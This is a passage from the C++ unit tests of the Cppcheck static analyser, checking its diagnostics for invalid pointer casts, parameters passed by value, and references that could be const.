{\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream 